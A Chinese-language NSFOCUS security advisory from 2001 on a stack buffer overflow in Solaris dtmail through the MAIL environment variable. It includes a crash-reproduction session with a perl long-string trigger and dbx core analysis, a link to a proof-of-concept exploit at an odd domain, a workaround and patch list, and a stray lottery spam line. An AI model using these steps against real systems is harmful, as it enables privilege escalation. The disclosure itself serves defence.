首頁 -> 安全研究

安全研究

安全公告
綠盟科技安全公告(SA2001-04)

NSFOCUS安全小組([email protected])
http://www.nsfocus.com

Solaris dtmail 緩沖區溢出漏洞

發布日期:2001-07-24

CVE ID:CVE-2001-0548
BUGTRAQ ID:3081

受影響的軟件及系統:
====================
- Sun Solaris 2.6 (SPARC/x86)
- Sun Solaris 7   (SPARC/x86)

未受影響的軟件及系統:
======================
- Sun Solaris 8

綜述:
======
NSFOCUS安全小組發現Solaris系統所帶的dtmail在處理MAIL環境變量時存在緩沖區溢出漏洞,攻擊者可能以mail組權限執行任意代碼。

分析:
======
dtmail是Solaris CDE所帶的一個郵件客戶端工具。它被安裝在/usr/dt/bin/下,缺省設置了setgid mail屬性。
由于dtmail在處理某些環境變量時沒有進行有效的邊界檢查,攻擊者可以引發一個緩沖區溢出。

如果將MAIL環境變量設置為一個較長的字符串(例如,超過1500字節),那么將引發一個堆棧緩沖區溢出。攻擊者可以覆蓋保存的返回地址,從而以mail組權限執行任意代碼。

測試方法:
==========
[[email protected] /tmp]> uname -a
SunOS sun27 5.7 Generic_106541-08 sun4u sparc SUNW,Ultra-5_10
[[email protected] /tmp]> showrev -p|grep 107200-12
Patch: 107200-12 Obsoletes:  Requires: 108374-01, 107887-08 Incompatibles:  
Packages: SUNWdtdst, SUNWdtma
[[email protected] /tmp]> ls -l /usr/dt/bin/dtmail
-r-xr-sr-x   1 bin      mail     1553244 Jun 12  2001 /usr/dt/bin/dtmail*
[[email protected] /tmp]> cp /usr/dt/bin/dtmail .
[[email protected] /tmp]> export DISPLAY=127.0.0.1:0.0
[[email protected] /tmp]> MAIL=`perl -e 'print "A"x2000'`; export MAIL
[[email protected] /tmp]> ulimit -c 200000
[[email protected] /tmp]> /usr/dt/bin/ttsession -s -c ./dtmail
[這時在你的X 窗口中會彈出一個dtmail的信息框,點擊"Local"]
[[email protected] /tmp]> ls -l core
-rw-------   1 test users    1991892 Jun 22 11:47 core
[[email protected] /tmp]> dbx ./dtmail ./core
....
Reading dtmail
core file header read successfully
Reading ld.so.1
Reading libSDtMail.so.2
Reading libnsl.so.1
Reading libsocket.so.1
.....
Reading libXext.so.0
Reading libc_psr.so.1
detected a multithreaded program
[email protected] ([email protected]) terminated by signal BUS (invalid address alignment)
dbx: core file read error: address 0x41414161 not in data space
dbx: attempt to read stack failed - bad frame pointer
0x001013e4: solaris_valid+0x002c:       ret    
(/opt/SUNWspro/bin/../WS5.0/bin/sparcv9/dbx)

我們也提供了一個演示程序:
http://www.055795.buzz/proof/sol_sparc_dtmail_MAIL_ex.c

解決方法:
==========
暫時去掉dtmail的sgid mail屬性:
# chmod g-s /usr/dt/bin/dtmail

廠商狀態:
==========
2001.6.18  我們將這個問題通報給了Sun公司。
2001.6.21  Sun回復說他們發現甚至只需將為MAIL設置成一個字符也會導致溢出
2001.6.22  我們報告了自己的測試結果,但到現在為止沒有收到任何回復。

安裝了下列補丁的solaris 2.6系統不受此問題影響:
SunOS 5.6 SPARC :  105338-27
SunOS 5.6 x86   :  105339-25

Solaris 7在安裝下列最新的補丁之后仍然受此問題影響:
SunOS 5.7 SPARC :  107200-12
SunOS 5.7 x86   :  107201-12


您可以在下述網址獲得Sun的所有安全補丁

http://sunsolve.sun.com/securitypatch

聲 明
==========

本安全公告僅用來描述可能存在的安全問題,綠盟科技不為此安全公告提供任何保證或承諾。由于傳播、利用此安全公告所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,綠盟科技以及安全公告作者不為此承擔任何責任。綠盟科技擁有對此安全公告的修改和解釋權。如欲轉載或傳播此安全公告,必須保證此安全公告的完整性,包括版權聲明等全部內容。未經綠盟科技允許,不得任意修改或者增減此安全公告內容,不得以任何方式將其用于商業目的。

關于綠盟科技
============

綠盟科技(NSFOCUS Co., Ltd.)是中國網絡安全領域的領導企業,致力于網絡和系統安全問題的研究、高端網絡安全產品的研發、銷售與網絡安全服務,在入侵檢測/保護、遠程評估、 DDoS攻擊防護等方面提供具有國際競爭能力的先進產品,是國內最具安全服務經驗的專業公司。有關綠盟科技的詳情請參見: http://www.nsfocus.com

© 2020 綠盟科技
浙江快乐彩网上投注